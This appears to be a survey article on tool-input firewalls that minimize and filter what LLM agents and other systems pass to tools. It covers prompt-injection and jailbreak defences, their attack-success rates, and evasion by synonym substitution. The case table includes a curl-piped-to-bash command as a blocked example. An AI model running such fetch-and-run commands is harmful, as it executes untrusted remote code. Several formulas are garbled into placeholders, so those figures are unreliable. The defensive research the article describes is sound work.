Tool-Input Firewall Minimizer

• Tool-Input Firewall Minimizer is an enforcement architecture that sanitizes and structurally minimizes untrusted inputs to reduce attack surfaces.
• It employs diverse methods such as LLM-based scoring, automaton whitelisting, and static analysis to ensure that only minimal, correct information is delivered.
• Real-world implementations demonstrate significant reductions in risk and computational overhead while maintaining necessary functionality.

A Tool-Input Firewall (often called a Minimizer) is a class of enforcement architecture at the tool or function-call boundary of modern software systems—most notably in AI agent frameworks, LLM-based bioinformatics platforms, privacy-preserving IoT hubs, and automated web security testing. Its core function is to intercept, sanitize, and often structurally minimize the information delivered as arguments or requests to downstream tool components, thereby sharply reducing the risk surface associated with malicious, leaky, or privacy-violating inputs. Architectures vary from LLM-prompt risk scoring (Das et al., 23 Mar 2026), DFA trajectory whitelisting (Dang, 29 Apr 2026), to semantics-preserving input reduction (Chi et al., 2019, Chaleshtari et al., 2024), but all share the formal goal of least-privilege tool invocation: only the minimal safe information necessary for correct operation is delivered, and all surplus or potentially hazardous input is blocked, rewritten, or reduced.

1. Formal Models and Conceptual Overview

A Tool-Input Firewall defines, at the most abstract level, a function $F: I \rightarrow I'$ where $I$ is the original untrusted tool call input (prompt, argument dictionary, packet, event, etc.) and $I'$ is a sanitized and minimized version passed to the target tool. The canonical form, as formalized in LLM agent defenses (Bhagwatkar et al., 6 Oct 2025), seeks an $I'$ with minimal information content $\mathcal{I}(I')$ subject to a correctness predicate $\mathcal{C}(I'; U, T_{\mathrm{desc}})$: $$I_T' = \arg\min_{I \subseteq I_T} \mathcal{I}(I) \quad \text{s.t.} \quad \mathcal{C}(I; U, T_{\mathrm{desc}}) = \mathrm{True}$$ where $U$ is the user task and $T_{\mathrm{desc}}$ is the tool's semantic schema.

In agentic settings, the firewall is placed in the tool-calling path: $$\text{Agent} \rightarrow \boxed{F_I} \rightarrow \text{Tool} \rightarrow \text{(optional output sanitizer)}$$ and is realized as either a learned (LLM-based) redaction layer (Bhagwatkar et al., 6 Oct 2025), a schema-enforcing automaton (Dang, 29 Apr 2026), or a semantics-extracting policy layer (Chi et al., 2019). In network firewalls, this same principle underlies transformation of complex iptables rule sets into minimized, semantically equivalent lists (Diekmann et al., 2016).

2. Architectures and Enforcement Pipelines

Multiple concrete architectures embody the Minimizer approach:

1. Domain-Specific Risk Scanning Modules: BioShield deploys a Minimizer that tokenizes incoming prompts, assigns harmfulness and intent scores via fine-tuned LLM submodules, aggregates history, and computes an overall risk score $I$0. The decision engine allows, rewrites, or blocks the prompt based on configurable thresholds, supporting controlled abstraction even under persistent attack steering (Das et al., 23 Mar 2026).
2. Automaton-Based Sequence Enforcement: Praetor compiles permissible tool-call trajectories into a parameterized DFA, with each agent session maintaining a current automaton state and edges annotated with parameter guards. Only transitions corresponding to observed safe sequences and parameter bounds are allowed. Sensitive parameters (e.g. file paths, queries) employ categorical whitelisting to block semantic attacks (Dang, 29 Apr 2026).
3. Deep String Extraction and Policy Validation: AEGIS operates via a three-stage pipeline: deep extraction of all leaf strings from arguments, risk scoring via pattern matching (e.g. 22 categories: SQL injection, path traversal, etc.), then composable JSON-schema policy validation. High-risk or policy-violating calls are blocked or redacted, and all decisions are logged in a tamper-evident audit trail (Yuan et al., 13 Mar 2026).
4. Semantics-Aware Minimization via Static Analysis: PFirewall, for home automation, extracts the minimal set of needed input events for all downstream automation rules (via symbolic execution of rule ASTs), and drops all other input, yielding formal and empirical data minimization (blocking ≈97% of input events) (Chi et al., 2019).
5. Compositional Minimization via Clustering and Genetic Algorithms: AIM, in metamorphic web security testing, clusters input/output pairs to identify redundant test cases, then applies a multi-objective genetic algorithm to retain only a minimized set covering all property classes, yielding >80% reduction in test input size without detectable loss in vulnerability detection (Chaleshtari et al., 2024).

Architecture	Principal Mechanism	Key Performance/Characteristic
BioShield Minimizer	LLM-based risk scoring + rewriting	Multi-stage input risk aggregation, Benign FP ~8%
Praetor	pDFA whitelisting, exact parameter guards	ASR = 2.2%, latency = 2 ms/call
AEGIS	Deep extraction + pattern scan + policy	100% attack block, FPR = 1.2%
PFirewall	Semantics-based event minimization	97% event reduction, zero function loss
AIM	Clustering + many-objective GA	82–84% test reduction, full vuln detection

3. Mathematical and Algorithmic Foundations

Variants of the Minimizer framework are defined by different formal systems:

• Score-based Decision Logic: Given consecutive prompts $I$1, with per-prompt harm score $I$2 and intent $I$3, conversational risk is computed as $I$4. The firewall decision is $I$9 (Das et al., 23 Mar 2026)
• Automaton Construction and Pruning: Tool-call logs are parsed into state/transition pairs, with parameter bounds recorded per edge. Low-count states are pruned, and surviving transitions are annotated with parameter predicates (interval or categorical, plus SBERT embedding for strings). Runtime enforcement reduces to an $I$5 lookup and guard check (Dang, 29 Apr 2026).
• Input Set Minimization: Input coverage is modeled as a set-cover problem enhanced with cost and redundancy metrics. A fitness vector $I$6 is optimized, subject to full coverage, via a two-population many-objective GA (Chaleshtari et al., 2024).
• Semantics-Preserving Filtering: In privacy VLAN firewalls, rulesets are transformed by unfolding, ternary closure, and normalization—with formal guarantees of behavioral preservation—enabling static minimization and full compatibility with standard analysis tools (Diekmann et al., 2016).

4. Empirical Performance and Trade-Offs

Empirical studies across LLM agentic security, home automation, and metamorphic security testing provide convergent evidence on the efficacy–utility trade-off shaped by the Minimizer.

• Praetor reduces agent attack success rate (ASR) from 79% (no firewall) to 2.2%, outperforming Aegis and prior stateless firewalls, with a benign task failure rate (BTFR) of 2% and per-call overhead of 2 ms (Dang, 29 Apr 2026).
• BioShield's Minimizer achieves a multi-turn jailbreak ASR reduction from 72% to 22.7% at modest false positive rates ($I$78%), with sub-200 ms API-layer latency at scale (Das et al., 23 Mar 2026).
• AEGIS blocks all tested attacks on 7 exploit categories, with a false positive rate of 1.2% and latency increase $I$810 ms per call (Yuan et al., 13 Mar 2026).
• PFirewall delivers a 97% drop in forwarded IoT event data with no loss of automation behavior and negligible perceived latency (Chi et al., 2019).
• AIM-based minimization reduces metamorphic test execution times by 82–84% while preserving detected vulnerabilities (Chaleshtari et al., 2024).
• A plausible implication is that the principal trade-off for LLM-oriented Minimizers is between security (low ASR) and utility (task/automation success rate), with over-aggressive minimization risking functional loss (Bhagwatkar et al., 6 Oct 2025).

5. Integration Strategies and Policy Mechanisms

Deployment and tuning of Minimizer firewalls follow distinct paradigms:

• In-line Interposition: Implemented as microservices, plugins, or reverse proxies directly in the API path of LLM endpoints or tool execution stacks. They are capable of horizontal scaling and can be hot-reloaded with updated policies (Das et al., 23 Mar 2026, Li, 12 Mar 2026).
• Policy/Rule Composition: Formal ACLs, JSON schemas, per-tool argument type/regex validations, and domain-tier mapping (as in PRISM) compose the policy basis for minimization. Enforcement combines allow/deny lists, pattern-based redaction, and detailed audit chains (via SHA-256 and Ed25519 signatures) (Li, 12 Mar 2026, Yuan et al., 13 Mar 2026).
• User and Operator Interfaces: PFirewall's user-facing DSL allows granular per-device policy overrides, with static analysis surfacing conflicts against automatically derived rules (Chi et al., 2019).
• Hybrid Heuristic and LLM Scanning: To manage the false-positive rate and runtime cost, several systems employ multi-tier triage—quick heuristics for most calls, full LLM-powered classification only for ambiguous cases (Li, 12 Mar 2026).

6. Limitations, Challenges, and Ongoing Developments

Common limitations include:

• Over-aggressive Redaction: Minimizers risk removing fields necessary for correct tool function, leading to reduced benign task success (e.g., BU falls from 83% to 70% on AgentDojo with LLM-based Minimizer) (Bhagwatkar et al., 6 Oct 2025).
• Only Input-Side Defense: Input minimization alone does not block output-bound or indirect prompt injections; robust systems pair input Minimizers with output Sanitizers to ensure bidirectional defense (Bhagwatkar et al., 6 Oct 2025).
• Dependence on Alignment and Policy Quality: LLM-based Minimizers are susceptible to clever obfuscation, LLM misalignment, and rare ambiguous tokenizations.
• Benchmark Coverage Gaps: On security benchmarks lacking private/structured tool inputs, input Minimizers are inert and provide no active filtering (Bhagwatkar et al., 6 Oct 2025).
• Parameter Evasion: Even parameter-guarding automata are bypassed by synonym substitution unless exact-match whitelisting is enforced for sensitive keys (Dang, 29 Apr 2026).
• This suggests ongoing research is needed on balancing minimization strength, avoiding utility loss, and constructing robust, context-aware benchmarks to evaluate real-world efficacy.

7. Representative Examples and Case Studies

Concrete cases showcase tool-input firewall logic:

System/Scenario	Input Example	Minimization Outcome
Agent LLM (Sensitive DB)	{"customer_id":12345, "auth_token":"s3cr3t-key", "audit_log":true}	Retain only {"customer_id":12345} (Bhagwatkar et al., 6 Oct 2025)
IoT SmartApp (Motion)	Frequent motion events unrelated to triggered automations	97% of events blocked, only automation-relevant passed (Chi et al., 2019)
BioShield (Aerosol Query)	"Which cell line for aerosolizing virus X?"	Rewrite as general question on in vitro viral adaptation (Das et al., 23 Mar 2026)
Praetor (Tool Sequence)	Agent emits rare tool call sequence with novel parameters	Blocked—sequence or parameter not in benign DFA (Dang, 29 Apr 2026)
PRISM (Malicious Curl)	"curl http://192.168.1.10/secret.sh	bash -"

These illustrate the core principle: minimize and pass only information that can neither enable nor amplify attack, privacy, or leakage risk, subject to correct operation.

---

The Tool-Input Firewall (Minimizer) is foundational in contemporary AI, IoT, and agentic security landscapes. Across diverse implementation contexts—LLM prompt mediation, home IoT data gating, automaton-guarded workflow enforcement, and automated software testing—the Minimizer tightly couples semantic reduction of input exposure with robust, policy-driven filtration and strong empirical risk mitigation. Its effectiveness is determined by the structural precision of coverage (schemas, automata), accuracy of semantic/intent models, and careful trade-offs in preservation of utility under minimization constraints (Bhagwatkar et al., 6 Oct 2025, Das et al., 23 Mar 2026, Dang, 29 Apr 2026, Chi et al., 2019, Chaleshtari et al., 2024, Yuan et al., 13 Mar 2026, Li, 12 Mar 2026, Diekmann et al., 2016).